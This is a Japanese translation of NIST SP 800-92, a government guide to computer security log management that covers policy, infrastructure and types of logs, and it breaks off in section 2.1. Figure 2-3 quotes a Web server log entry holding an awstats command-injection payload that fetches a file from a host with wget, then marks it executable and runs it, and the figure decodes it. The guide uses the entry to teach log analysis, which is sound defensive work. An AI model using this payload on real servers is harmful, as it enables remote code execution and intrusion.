National Institute of
Standards and Technology
Technology Administration
U.S. Department of Commerce

Special Publication 800-92

コンピュータセキュリティログ管理ガイド

米国国立標準技術研究所による勧告

Karen Kent
Murugiah Souppaya

この文書は下記団体によって翻訳監修されています

IPA 独立行政法人 情報処理推進機構 INFORMATION-TECHNOLOGY PROMOTION AGENCY, JAPAN
NRI SECURE TECHNOLOGIES

NIST Special Publication 800-92

コンピュータセキュリティログ管理ガイド

米国国立標準技術研究所による勧告

Karen Kent
Murugiah Souppaya

コンピュータセキュリティ

米国国立標準技術研究所
情報技術ラボラトリ
コンピュータセキュリティ部門
Gaithersburg, MD 20899-8930

2006 年 9 月

米国商務省　長官

Carlos M. Gutierrez

技術管理局　技術担当商務次官

Robert C. Cresanti

米国国立標準技術研究所　所長

William Jeffrey

コンピュータシステム技術に関する報告書

米国国立標準技術研究所（NIST: National Institute of Standards and Technology、以下、NIST と称す）の情報技術ラボラトリ（ITL:Information Technology Laboratory）は、国家の測定および標準に関する基盤において技術的リーダーシップを提供することにより、米国の経済と公共福祉に貢献している。情報技術ラボラトリは、テストの実施、テスト技法の開発、参照データの作成、実装によるコンセプト実証、技術的分析を通じて、情報技術の開発と生産的利用の発展に努めている。情報技術ラボラトリの責務は、連邦政府の情報システムにおいて、費用対効果の高いセキュリティを施し、国家安全保障にかかわらない情報のプライバシーを確保するための、技術的、物理的、管理的および運用のための標準とガイドラインを策定することにある。NIST Special Publication 800 シリーズでは、情報システムセキュリティにおける情報技術ラボラトリの調査、ガイドライン、普及活動ならびに産業界、政府機関および教育機関との共同活動について報告する。

米国国立標準技術研究所、Special Publication 800-92
米国国立標準技術研究所、Special Publication 800-92、72 ページ（2006 年 9 月）

謝辞

本書執筆陣である Karen Kent および Murugiah Souppaya（ともに NIST）は、本書草稿のレビューと技術内容に助言を与えてくれた同僚、特に、Bill Burr、Elizabeth Chew、Tim Grance、Bill MacGregor、Stephen Quinn、Matthew Scholl（ともに NIST）、Stephen Green、Joseph Nusbaum、Angela Orebaugh、Dennis Pickett、Steven Sharma（ともに Booz Allen Hamilton）に感謝の意を表する。とりわけ Anton Chuvakin（LogLogic）および Michael Gerdes には、入念なレビューをはじめ多くの面で本書の品質向上に貢献してくれたことに深く感謝する。また、貴重な意見や提案を寄せてくれたセキュリティ専門家の Kurt Dillard（Microsoft）、Dean Farrington（Wells Fargo Bank）、Raffael Marty（ArcSight）、Greg Shipley（Neohapsis）、Randy Smith（Monterey Technology Group）と、エネルギー省、保健福祉省、国土安全保障省、国務省、財務省、環境保護庁、国立衛生研究所、社会保障庁それぞれの代表の方々にもお礼を述べたい。

商標

目次

付録

図

表

（本ページは意図的に白紙のままとする）

要旨

「ログ」は、組織のシステムおよびネットワーク内で発生するイベント（事象）の記録である。ログは複数のログ項目から構成される記録であり、個々のログ項目は、システムまたはネットワークにおいて発生する特定の1件のイベント（事象）に関連した情報を含む。組織におけるログの多くは、コンピュータセキュリティに関する記録を含む。これらのコンピュータセキュリティのログは、数多くの情報源によって生成される。たとえば、ウイルス対策ソフトウェア、ファイアウォール、侵入検知および防止システムなどのセキュリティソフトウェアや、サーバ、ワークステーション、ネットワーク装置上のオペレーティングシステム、およびアプリケーションなどである。

コンピュータセキュリティログの数、量、種類は非常に増えてきている。このため、コンピュータセキュリティログ管理が必要となっている。コンピュータセキュリティログ管理とは、コンピュータセキュリティログデータの生成、通信、格納、分析、廃棄するプロセスのことである。コンピュータセキュリティの記録を適切な期間、必要な程度な詳細を保って保存するためには、ログ管理は必須である。セキュリティインシデント、ポリシー違反、不正行為、および運用上の問題を明らかにするためにはログの分析作業を日常的な業務として実施することが有益である。また、監査やフォレンジック分析を実行したり、内部調査の裏付けを取ったり、各種のベースラインを確立したり、運用動向や長期的動向からみた問題を明らかにしたりする際にもログは役立つ。各組織では、各種の連邦法規を遵守するために特定のログを保存および分析することも考えられる。連邦法規には、2002 年施行の連邦情報セキュリティマネジメント法（FISMA: Federal Information Security Management Act、以下 FISMA と称す）、1996 年施行の医療保険の相互運用性と説明責任に関する法律（HIPAA: Health Insurance Portability and Accountability Act、以下 HIPAA と称す）、2002 年施行の米国企業改革法（SOX: Sarbanes-Oxley Act、以下 SOX と称す）、金融制度改革法(GLBA: Gramm-Leach-Bliley Act 、以下 GLBA と称す）、クレジットカード業界のデータセキュリティ基準（PCI DSS: Payment Card Industry Data Security Standard、以下 PCI DSS と称す）などがある。

ログ管理に関して多くの組織が直面する根本的な課題は、ログ管理を行うためのリソースの量的制約と、続々と生成されるログデータとのバランスをいかにしてうまく取るかということである。ログの生成および保存は、いくつかの要因により、管理が困難となることがある。その要因には以下のようなものがある。ログ生成元（log sources）の数が多いこと、ログの内容、形式、タイムスタンプが生成元によって異なり一貫性がないこと、ログデータの量が増大し続けることである。ログ管理には、ログの機密性、完全性、可用性を守ることも含まれる。また、実効性のあるログデータの分析作業がセキュリティ、システム、ネットワークの各管理者によって定期的に行われることを保証することもログ管理に関する課題である。この文書は、以上のようなログ管理上の課題に取り組むためのガイダンスを示すものである。

連邦政府の各省庁および機関におけるログ管理の効率と効果を高めるには、以降に示す推奨事項を実施することが有効と考えられる。

ログ管理に関するポリシーおよび手順を確立する

円滑なログ管理の方法を確立し、それを継続するために、ログ管理の実行に関する標準プロセスを組織として確立すべきである。計画立案プロセスにおいては、まず、ログに関する要件および目標を定義する。さらに、それらに基づき、ログ管理活動（ログの生成、通信、格納、分析、廃棄を含む）に関する必須要件および推奨事項を明確に定義するポリシーを策定する。その際には、ログ管理上の要件および推奨事項が、関連するポリシーおよび手順に組み込まれると同時に、それらのポリシーおよび手順に基づいて要件や推奨事項が定義、実施されることを確実にしなければならない。組織の管理職層は、ログ管理の計画立案とポリシーおよび手順の策定作業に対し、必要な支援を提供する。

ログに関する要件および推奨事項の策定にあたっては、それらを導入および保守するために必要なテクノロジーとリソース、セキュリティ面でそれらが持つ意味と価値、また、組織に適用される規制や法律（FISMA、HIPAA、SOX など）の詳しい分析も併せて行うべきである。一般に、ログの記録および分析を必須とする対象はひじょうに重要度の高いデータのみとし、そのほかの種類のデータについては、時間やリソースが許す場合にログの記録および分析を行うことを推奨事項として定めるとよい。組織によっては、万一の必要に備えるため、生成される（ほとんど）すべてのログデータを少なくとも短期間は保存するという要件を定めることがある。これは、利便性や必要リソースの問題よりもセキュリティを優先する場合の選択肢であり、そうすることで的確な意思決定が可能になる場合もある。個々のシステムにはそれぞれ異なる事情があり、生成されるログの量もシステムによって異なるため、要件および推奨事項の設定にあたっては柔軟性を心がけるべきである。

組織として定めるポリシーおよび手順には、ログ原本の保全に関する事項も盛り込むべきである。多くの組織では、ネットワークトラフィックログのコピーを集中管理された装置にも送信するとともに、ネットワークトラフィックの分析および解釈を行うツールを使用する。ログが証拠として必要とされる場合、コピーや解釈のプロセスにおける信頼性に対して何らかの疑義が生じた場合に備えて、ログファイルの原本、一元的に管理されたログファイル、および解釈済みのログデータのそれぞれについて、コピーを作成しておくとよい。ログを証拠として保管する場合は、記録へのアクセスに追加の制限を設けるなど、異なる保管方法やプロセスを用いるべきであろう。

組織全体のログ管理に適切な優先順位付けを行う

ログ管理プロセスの要件および目標を定めたら、組織が認識するリスクの削減効果と、ログ管理業務を行うために必要と見込まれる時間およびリソースに基づいて、それらの要件および目標の優先順位付けを行うべきである。また、ログ管理について組織内の主要な人員が担う役割および責任についても定義すべきである。これには、個別システム毎に必要な各種職務を定めることだけではなく、ログ管理を行う上で必要となる共通の仕組み（ログ管理インフラストラクチャ）として必要となる各種職務を定めることも含まれる。

ログ管理インフラストラクチャを構築および維持する

ログ管理インフラストラクチャは、ログデータの生成、通信、格納、分析および廃棄に使用するハードウェア、ソフトウェア、ネットワーク、およびメディアで構成され、一般に、ログデータの分析とセキュリティを支えるいくつかの機能を実行する。当初のログ管理ポリシーを確立し、各種の役割および責任を明確にしたあとは、それらのポリシーや役割を効果的に支援するログ管理インフラストラクチャを構築する。ログ管理インフラストラクチャには、一元管理したログサーバおよびログデータストレージを含めることを検討すべきである。設計にあたっては、インフラストラクチャおよび組織内にある個々のログ生成元に関する現在および将来のニーズに対応できるように計画を立てなければならない。設計において考慮すべき主な要素としては、処理するログデータの量、ネットワーク帯域幅、オンラインおよびオフラインのデータストレージ、データのセキュリティ要件、ログ分析スタッフが必要とする時間とリソースなどがある。

ログ管理の各種責任を担うスタッフに対して適切な支援を提供する

組織全体において個別のシステムのログ管理を効果的に行うには、それらシステムの管理者が十分な支援を受けられるようにすべきである。必要な支援としては、情報発信や伝達に関すること、教育研修の機会を提供すること、疑問を解決するための問合せ窓口を確保すること、具体的な技術ガイダンスを提供すること、ツールおよび文書などを必要な時にいつでも使えるようにしておくことなどが挙げられる。

ログ管理に関する標準的な運用プロセスを確立する

ログ管理の主な運用プロセスとしては、一般に、ログ生成元の設定を行うこと、ログを分析すること、特定されたイベントに対して初期対応を行うこと、長期データ保存を管理することなどがある。管理者は、これらのほかに次のような事項についても責任を負う。

- すべてのログ生成元におけるログ管理（logging）の状況を監視すること
- ログのローテーションおよび保存（アーカイブ）のプロセスを監視すること
- ログ管理のためのソフトウェアに対する更新およびパッチの有無の確認、およびそれらの入手、テストおよび配備を行うこと
- ログ管理を行っている個々の機器（ホスト）の時計を、標準時刻に同期化すること
- ポリシーの変更、技術の変化、そのほかの要因に併せて、ログ管理に必要となる構成変更を行うこと
- ログの設定、構成およびプロセスに関して発生した異常の報告および文書化を行うこと

（本ページは意図的に白紙のままとする）

1. はじめに

1.1. 作成機関

米国国立標準技術研究所（NIST: National Institute of Standards and Technology、以下 NIST と称する）は、2002 年施行の連邦情報セキュリティマネジメント法（FISMA: Federal Information Security Management Act、以下 FISMA と称す）、公法 107-347 に基づくその法的責任を推進するために、この文書を作成した。

NIST は、すべての連邦政府機関の運営および資産に適切な情報セキュリティをもたらすために、最低限の要求事項を含んだ標準およびガイドラインを作成する責務があるが、このような標準およびガイドラインは国家安全保障にかかわるシステムには適用されない。このガイドラインは、行政管理予算局（OMB; Office of Management and Budget）Circular A-130、第 8b(3)項、『政府機関の情報システムの保護（Securing Agency Information Systems）』の要求事項に一致しており、これは A-130 の付録 IV「重要部門の分析」で分析されているとおりである。補足情報は、A-130、付録 III に記載されている。

このガイドラインは連邦政府機関が使用する目的で作成されている。非政府組織が自由意志で使用することもでき、著作権の制約はない（翻訳者注:著作権に関するこの記述は、SP800-53 の英語の原文のことを言っており、日本語へ翻訳した本書の著作権は、独立行政法人情報処理推進機構および NRI セキュアテクノロジーズ株式会社に帰属する）。

本文書における一切は、商務長官が法的権威に基づき連邦政府に対して義務および拘束力を与えた標準および指針を否定するものではない。また、これらの指針は、商務長官、行政管理予算局長、または他のすべての連邦政府当局者の既存の権威に変更を加えたり、これらに取って代わるものと解釈してはならない。

1.2. 目的と範囲

この文書は、コンピュータセキュリティログの確かな管理を行うことの必要性について、組織の理解を手助けすることを目的としている。この文書は、エンタープライズ規模の組織全体にわたる効果的なログ管理プラクティスを開発、導入および維持することについての実用的かつ現実的なガイダンスを示すものである。この文書において提示するガイダンスは、ログ管理インフラストラクチャの構築、組織全体を対照とした健全なログ管理プロセスの確立と実施など、複数のトピックにわたる。ただし、この文書に示すログ管理テクノロジーに関する記述は概略的なものであり、当該テクノロジーの導入または使用に関する具体的な手順を詳細に示すことはしない。

1.3. 対象とする読者

この文書は、コンピュータセキュリティのスタッフ、プログラム管理者、システム管理者、ネットワーク管理者、アプリケーション管理者、コンピュータセキュリティインシデント対応チームなど、コンピュータセキュリティログ管理に関連する各種任務を担当する人々を対象として作成されている。

1.4. 文書の構成

この文書の以降の内容は、大きく 4 つのセクションで構成されている。セクション 2 は、コンピュータセキュリティログ管理の序論である。具体的には、組織におけるログ管理の必要性の説明およびログ管理における課題を述べる。セクション 3 では、ログ管理インフラストラクチャの構成要素、アーキテクチャおよび機能について述べる。セクション 4 では、役割および責任を定義することや実施可能

なログ管理ポリシーを策定することなど、ログ管理計画に関する推奨事項を示す。セクション 5 では、ログ管理の運用のために策定および実施すべき各種のプロセスについて説明する。

巻末にはいくつかの付録と参考資料を記載している。付録 A および B には、それぞれ、用語集および略語の一覧を示す。付録 C には、ログ管理について理解を深めるために役立つツール、オンライン資料および印刷物の一覧を示す。付録 D には、この文書の索引を示す。

2. コンピュータセキュリティログ管理の概要

「*ログ*」は、組織のシステムおよびネットワーク内で発生するイベント（事象）の記録である。ログは複数のログ項目から構成される記録であり、個々のログ項目は、システムまたはネットワークにおいて発生する特定の1件のイベント（事象）に関連した情報を含む。元来、ログは主として問題発生時のトラブルシューティングに使用されるものであったが、現在では大半の組織において、システムやネットワークのパフォーマンス最適化、ユーザの行動の記録、悪意ある活動の調査に役立つデータの提供などさまざまな機能を果たしている。そのためログの内容も発展し、ネットワークやシステムで発生するさまざまな種類のイベントに関する情報を含むようになった。組織においては、コンピュータセキュリティに関する情報が数多くのログに記録される。コンピュータセキュリティログの例としては、監査ログおよびセキュリティ装置ログが一般的である。前者は、ユーザ認証の試みを追跡し、後者は攻撃と考えられる活動を記録する。この文書では、コンピュータセキュリティ関連の情報を通常含む種類のログのみを扱う[1]。

ネットワークに接続したサーバ、ワークステーション、そのほかのコンピュータ装置が広く普及し、また、ネットワークやシステムに対する脅威の数が常に増え続けていることにより、コンピュータセキュリティログの数、量、種類は以前よりも大幅に増えてきている。そのため、*コンピュータセキュリティログの管理*、すなわち、コンピュータセキュリティログデータを生成、通信、格納、分析、破棄するプロセスの必要性が生じている。このセクションでは、コンピュータセキュリティログ管理の必要性および課題について述べる。2.1項では、コンピュータセキュリティログの基本について説明する。2.2項では、ログ管理に伴う法規制上および運用上のニーズについて述べる。2.3項では、ログ管理においてよく発生する課題について説明し、2.4項では、それらの課題への取り組みに関する概要レベルの推奨事項を示す。

2.1. コンピュータセキュリティログの基本

ログは、システムやネットワークで発生するイベントについてのさまざまな情報を含むことができる[2]。この項では、特に注目する次の 2 種類のログについて述べる。

- **セキュリティソフトウェアログ**　主としてコンピュータセキュリティ関連の情報を含む（2.1.1 項）。
- **オペレーティングシステムログ（2.1.2項）、アプリケーションログ（2.1.3項）**　通常、コンピュータセキュリティ関連データのほか、さまざまな情報を含む。

どんな場合でも、組織において生成されるログの多くは、コンピュータセキュリティに何らかの関係がある可能性がある。たとえば、スイッチおよび無線アクセスポイントなどのネットワーク装置で生成されるログや、ネットワーク監視ソフトウェアなどのプログラムで生成されるログは、システム運用や監査、規制に適合していることの証明等、コンピュータセキュリティやそのほかの情報技術（IT）に関する施策で使用することのできるデータを記録している可能性がある。しかしながら、コンピュータセキュリティに関していえば、これらのログは補助的な情報源として必要に応じて使用されるのが一般的である。この文書では、コンピュータセキュリティの観点から組織にとって重要とみなされることの多い種類のログに主眼を置く。各組織は、ログ管理インフラストラクチャの設計および実装を行う際には、コンピュータセキュリティログデータの潜在的な生成元の重要性を生成元毎に個別に検討すべきである。

1　以降、この文書において使用する「ログ」および「コンピュータセキュリティログ」の 2 つの用語は、特に明記しない限り同じ意味とする。

2　個人情報（社会保障番号など、個人の特定に使用可能な情報）がログに含まれる場合は、組織として、ログ情報のプライバシを確実に正しく保護しなければならない。ログ管理計画立案作業の一環として、プライバシ保護の担当部署と話し合いを持つべきである。

ログ項目のほとんどの生成元は、連続的に動作するため、ログ項目を継続的に生成する。一方、定期的にのみ動作する生成元も一部あり、そうした生成元は、ログ項目を、多くの場合は一定時間ごとに、一括して（バッチ処理で）生成する。ログ生成元がバッチモードで動作することは、インシデント対応などタイミングが重要な作業におけるログの有用性に多大な影響を及ぼす可能性があるため、この項では、バッチ動作するログ生成元について特に注記しておく。

2.1.1. セキュリティソフトウェア

ほとんどの組織では、悪意ある活動の検知、システムやデータの保護、およびインシデント対応作業支援のために、複数種類のネットワークベースおよびホストベースのセキュリティソフトウェアを使用している。したがって、セキュリティソフトウェアは、コンピュータセキュリティログデータの主要な生成元の 1 つである。ネットワークベースおよびホストベースのセキュリティソフトウェアの一般的な種類としては、次のようなものがある。

- **マルウェア対策ソフトウェア** マルウェア対策ソフトウェアの最も一般的な形態の 1 つであるウイルス対策ソフトウェアは、検知されたマルウェア、ファイルおよびシステムに対するマルウェア駆除の試み、およびファイルの検疫[3]を、発生の都度、全て記録するのが一般的である。また、マルウェアスキャンを実行したときや、ウイルス対策シグネチャまたはソフトウェアの更新が発生したときにもそのことを記録する場合がある。スパイウェア対策ソフトウェアおよびそのほかのマルウェア対策ソフトウェア（ルートキット検知ソフトウェアなど）も、セキュリティ情報の生成元として一般的である。

- **侵入検知および防止システム** 侵入検知および防止システムは、疑わしい挙動および検知した攻撃に関する情報と、進行しつつある悪意の活動に対して実行したすべての防止措置の詳細な情報を記録する。一部の侵入検知システム（ファイル完全性チェックソフトウェアなど）は、常に稼働するのではなく定期的に動作するため、ログ項目も継続的にではなくバッチ処理で生成される[4]。

- **リモートアクセスソフトウェア** リモートアクセスは多くの場合、仮想プライベートネットワーク（VPN）を使用することで許可され、セキュリティが保護される。VPN システムは一般的に、ログインの成功および失敗のほか、各ユーザが接続を確立および解除した日時と、個々のユーザセッションにおいて送受信されたデータの量をログに記録する。多くの SSL（Secure Sockets Layer）VPN のように、粒度の細かいアクセス制御をサポートする VPN では、リソースの使用状況に関する詳細情報が記録される場合もある。

- **Web プロキシ** Web プロキシは、Web サイトへのアクセスを仲介するホストであり、ユーザに代わって Web ページの要求を発行したり、頻繁に利用されるページへのアクセスを効率化するために取得済み Web ページのコピーをキャッシュに保持したりする。また、Web アクセスを制限したり、Web クライアントと Web サーバの間に保護の層を追加したりする目的で使用することもある。Web プロキシは多くの場合、そこを経由してアクセスされるすべての URL を記録する。

- **脆弱性管理ソフトウェア** 脆弱性管理ソフトウェア（パッチ管理ソフトウェア、脆弱性評価ソフトウェアなど）は一般的に、各ホストのパッチのインストール履歴および脆弱性ステータス

---

[3] ウイルス対策ソフトウェアの詳細については、NIST SP 800-83『マルウェアによるインシデントの防止と対応のためのガイド（Guide to Malware Incident Prevention and Handling）』（http://csrc.nist.gov/publications/nistpubs/）を参照のこと。

[4] 侵入検知システムの詳細については、NIST SP 800-94（草稿）『*侵入検知および防止システムに関するガイド（Guide to Intrusion Detection and Prevention Systems）*』（http://csrc.nist.gov/publications/nistpubs/）を参照のこと。

（既知の脆弱性、未適用のソフトウェア更新など）をログに記録する[5]。また、ホストの構成に関する補足情報を記録する場合もある。脆弱性管理ソフトウェアは一般的に、常に稼働するのではなく時々実行されるため、ログ項目もバッチで大量にまとめて生成されることが多い。

- **認証サーバ** 認証サーバ（ディレクトリサーバ、シングルサインオンサーバなど）は一般的に、認証が行われるたびに、その要求元、ユーザ名、成功または失敗、および日時をログに記録する。
- **ルータ** ルータは、ポリシーに基づいて特定種類のネットワークトラフィックを許可または遮断するよう構成することができる。トラフィックを遮断するルータは、遮断した活動に関する最も基本的な特性についてのみログに記録するよう構成されるのが一般的である。
- **ファイアウォール** ポリシーに基づいてネットワークトラフィックを許可または遮断する点は、ルータと同様であるが、ファイアウォールがネットワークトラフィックの検査に用いる手法は、ルータよりもはるかに洗練されている[6]。また、ファイアウォールは、ネットワークトラフィックの状態を追跡したり、トラフィック内容を検査したりできる。ルータと比べて、ファイアウォールはより複雑なポリシーを適用し、より詳細な実行ログを生成することが多い。
- **ネットワーク検疫サーバ** ネットワークに参加しようとするリモートホストを受け入れる前に、そのホストのセキュリティの状態を検査している組織もある。このチェックは、ネットワーク検疫サーバと、各ホスト上に配置したエージェントによって行われる。サーバの検査に応答しないホストや合格しないホストは、独立の仮想ローカルエリアネットワーク（VLAN）セグメントに隔離される。ネットワーク検疫サーバは、どのホストを検疫したかおよびその事由などの検査状況をログに記録する。

図 2-1 に、セキュリティソフトウェアログ項目のいくつかの例を示す[7]。

侵入検知システム

```
[**] [1:1407:9] SNMP trap udp [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162
UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87
```

パーソナルファイアウォール

```
3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54,
netbios-ssn(139))."","Rule ""Block Windows File Sharing"" blocked (192.168.1.54,
netbios-ssn(139)).  Inbound TCP connection.  Local address,service is
(KENT(172.30.128.27),netbios-ssn(139)).  Remote address,service is
(192.168.1.54,39922).  Process name is ""System""."

3/3/2006 9:04:04 AM,Firewall configuration updated: 398 rules.,Firewall
configuration updated: 398 rules.
```

ウイルス対策ソフトウェア（ログ 1）

```
3/4/2006 9:33:50 AM,Definition File Download,KENT,userk,Definition downloader
3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System
3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System
```

[5] 脆弱性管理ソフトウェアに関するガイダンスとしては、NIST SP 800-40 version 2『*パッチおよび脆弱性管理プログラムの策定（Creating a Patch and Vulnerability Management Program）*』がある。SP 800-40 version 2 は、http://csrc.nist.gov/publications/nistpubs/でダウンロードできる。

[6] ファイアウォールの詳細については、NIST SP 800-41『*Guidelines on Firewalls and Firewall Policy*』を参照のこと。SP 800-41 は、http://csrc.nist.gov/publications/nistpubs/でダウンロードできる）。

[7] この文書に掲載するログの例では、IP アドレスなどの識別情報をサニタイズ処理により削除した部分がある。

ウイルス対策ソフトウェア（ログ 2）

```
240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are
current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End
User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,
```

スパイウェア対策ソフトウェア

```
DSO Exploit: Data source object exploit (Registry change, nothing done)
HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\0\1004!=W=3
```

図 2-1. セキュリティソフトウェアのログ項目の例

2.1.2. オペレーティングシステム

サーバ、ワークステーション、ネットワーク装置（ルータ、スイッチなど）のオペレーティングシステム（OS）は一般的に、セキュリティに関係するさまざまな情報をログに記録する。OS のセキュリティ関連データの最も一般的な種類としては、次のようなものがある。

- **システムイベント** システムイベントは、システム運用において OS 内部で実行される動作であり、例えば、システムのシャットダウンやサービスの開始などがある。通常は、失敗イベントと最も重要な成功イベントはログに記録されるが、多くの OS では管理者がログに記録されるイベントの種類を指定できるようになっている。個々のイベントについて記録される詳細情報の内容も大きく異なる。一般に各イベントのタイムスタンプが記録されるほか、補足情報として、イベントコード、ステータスコード、エラーコード、サービス名、また、イベントに対応するユーザまたはシステムアカウントなどが記録されることがある。
- **監査記録** 監査記録に含まれるセキュリティイベント情報としては、認証の成功および失敗、ファイルアクセス、セキュリティポリシーの変化、アカウントの変化（アカウントの作成および削除、アカウント権限の割り当てなど）、権限の行使などがある。監査の対象とするイベントの種類や、特定の操作を試みた結果、すなわち、成功したか／失敗したかをログとして記録するかどうかは、通常、システム管理者が OS において指定できるようになっている。

OS のログには、システム上で動作するセキュリティソフトウェアやそのほかのアプリケーションからの情報も含まれることがある。アプリケーションのログデータの詳細については、2.1.3項を参照のこと。

OS のログは、特定ホストが関与する疑わしい活動を識別して調査する場合に最も有用である。疑わしい活動がセキュリティソフトウェアによって明らかになった場合、活動の詳細情報を得るために OS のログの調査が行われることが多い。たとえば、特定のホストに対する攻撃をネットワークセキュリティ装置が検知した場合、攻撃の時点でログオンしていたユーザがいたかどうかや、その攻撃が成功したかどうかが、当該ホストの OS のログに示されている可能性がある。OS のログの多くは、syslog 形式で作成される。3.3項に、syslog の詳細および syslog ログ項目の例を示す。そのほかの OS のログ（Windows システムのログなど）は、独自の形式で記録される。図 2-2 に、Windows セキュリティログからエクスポートしたログデータの例を示す。

```
Event Type:   Success Audit
Event Source: Security
Event Category:      (1)
Event ID:     517
Date:         3/6/2006
Time:         2:56:40 PM
User:         NT AUTHORITY\SYSTEM
Computer:     KENT
Description:
```

```
The audit log was cleared
Primary User Name: SYSTEM       Primary Domain: NT AUTHORITY
Primary Logon ID: (0x0,0x3F7)   Client User Name: userk
Client Domain: KENT             Client Logon ID: (0x0,0x28BFD)
```

図 2-2. オペレーティングシステムのログ項目の例

2.1.3. アプリケーション

オペレーティングシステムおよびセキュリティソフトウェアは、組織の業務プロセスで使用するデータの保存、アクセスおよび操作を行うアプリケーションを保護すると同時にその動作基盤を提供する。ほとんどの組織は、電子メールサーバおよびクライアント、Web サーバおよびブラウザ、ファイルサーバおよびファイル共有クライアント、データベースサーバおよびクライアントなど、さまざまな一般商用 (COTS: Commercial Off-The-Shelf)アプリケーションに依存している。また、多くの組織では、サプライチェーン管理、財務管理、調達システム、ERP(Enterprise Resource Planning:統合業務システム)、CRM(Customer Relationship Management:顧客関係管理)などについても、各種の一般商用または政府調達向け(GOTS: Government Off-The-Shelf)業務アプリケーションを使用している。一般商用および政府調達向けソフトウェアのほか、組織固有の要件に合わせて調整されたカスタム開発アプリケーションもほとんどの組織が使用している[8]。

アプリケーションには、自らログを記録するものと、インストール先 OS のログ機能を利用するものとがある。ログに記録する情報の種類は、アプリケーションによって大きく異なる。以下、一般的にログとして記録されることが多い情報と、それぞれについて期待される便益を示す[9]。

- **クライアントの要求とサーバの応答**は、イベントシーケンスを再構成するのに非常に役立つだけでなく、それらによってどのような結果が表示されるかを明らかにする上でも、非常に役立つ。もし、アプリケーションが、ユーザ認証の成功を記録していれば、大抵の場合は、個々の要求をどのユーザが発行したかを特定することができる。アプリケーションによっては、非常に詳細なログを記録できる。たとえば電子メールサーバは、個々のメール毎に、送信者、宛先、件名、添付ファイル名を記録する。Web サーバは、要求された個々の URL や、サーバからどのような応答があったかを記録する。業務アプリケーションは、どの財務記録に対して、どのユーザがアクセスしたかを記録する。これらの情報は、インシデントを特定したり、調査する場合に使用できるだけでなく、コンプライアンスおよび監査の目的でアプリケーションの使用状況を監視する場合にも使用できる。

- **アカウント情報、**例えば、認証の成功および失敗、アカウントの変更(アカウントの作成および削除、アカウント権限の割り当てなど)、特権の使用など。総当たりによるパスワード推測や権限昇格などのセキュリティイベントを特定するだけでなく、誰がアプリケーションを使用していたのか、個々のユーザが、いつ、アプリケーションを使用していたのかを明らかにするために使うことができる。

- **使用状況に関する情報**、例えば、一定期間内(1 分、1 時間など)に発生したトランザクション件数、トランザクションのサイズ(電子メールメッセージサイズ、ファイル転送サイズ)など。これらの情報は特定のタイプのセキュリティ監視に役立つ。たとえば、電子メールの活動量が桁違いに増大した場合は、電子メールで通信される新種のマルウェアによる脅威を示す

[8] 導入された 1 つのアプリケーションを複数の組織が使用することもある。たとえば、上位組織が用意したアプリケーションをすべての下位機関が使用することなどが考えられる。そのようなアプリケーションを下位機関が使用した場合のログは、上位組織によって管理される可能性が高いが、各下位機関がそれぞれのユーザにかかわるログ情報の確認を許可されていることがある。

[9] 組織で独自に開発するアプリケーションについては、ログ機能の要件を規定するポリシーの策定を検討すべきである。そうしたポリシーは、アプリケーションのセキュリティおよびアプリケーション使用の監査のサポートに必要な情報を確実に記録させるのに役立つ。

ものである可能性がある。また、極端に大きい電子メールが外部へと発信された場合は、不適切な情報流出を示すものである可能性がある。

- **重要な運用アクション**、例えば、アプリケーションの起動および終了、アプリケーションの障害、アプリケーションの大幅な設定変更など。セキュリティ侵害や運用上の障害の特定に使用できる。

これらの情報は、（特に、暗号化していないネットワーク通信を介さずに使用されるアプリケーションの場合は）アプリケーションのみがログを記録することができる。このため、アプリケーションに関係するセキュリティインシデント、監査およびコンプライアンス活動にとって、アプリケーションのログはひじょうに重要なものである。その一方で、アプリケーションログは独自形式のため非常に使いにくいことがしばしばであるだけでなく、そこに含まれるデータの内容も状況に大きく依存することが多く、内容を調べるには多くのリソースが必要となる。

図 2-3 に、Web サーバのログから抽出したログ項目の例と、この項目に記録されている情報の説明を示す。

```
172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?config
dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2
bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo|  HTTP/1.1" 302 494
```

```
172.30.128.27
```
要求を発行したホストの IP アドレス

```
-
```
該当する情報がない（このサーバは第 2 フィールドに情報を表示するようには構成されていない）ことを示す

```
-
```
HTTP 認証用に提示されたユーザ ID。この場合は認証が行われていない

```
[14/Oct/2005:05:41:18 -0500]
```
Web サーバが要求に対する処理を完了した日時

```
GET
```
HTTP メソッド

```
/awstats/awstats.pl
```
要求で指定された URL

```
config
dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod
%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo|
```
要求で指定された引数。各「%」とそれに続く 2 桁の 16 進数は、1 字の ASCII 文字を 16 進でエンコードしたもの。たとえば、16 進の「20」は 10 進の「32」であり、値 32 の ASCII 文字は空白であるため、「%20」は 1 字の空白文字を表す。

上のログ項目を同等の ASCII 表現にすると次のようになる[10]。

```
config dir=|echo;echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x
nikons;/.nikons;
echo YYY;echo|
```

[10] このログ項目は、悪意のある活動を示している。攻撃の内容は、「nikons」というファイルを IP アドレス 192.168.1.214 のホストから当該 Web サーバに転送し、このファイルに実行可能属性を設定し、さらに（おそらく Web サーバと同じ実行権限のもとで）実行するというもの。

```
HTTP/1.1
        要求の発行に使用されたプロトコルおよびプロトコルバージョン

302
        応答のステータスコード。HTTP プロトコル標準において、コード 302 は「要求対象が
        見つかった」ことを表す

494
        応答のサイズ（バイト単位）
```

図 2-3. Web サーバのログ項目の例

2.1.4. ログの有用性

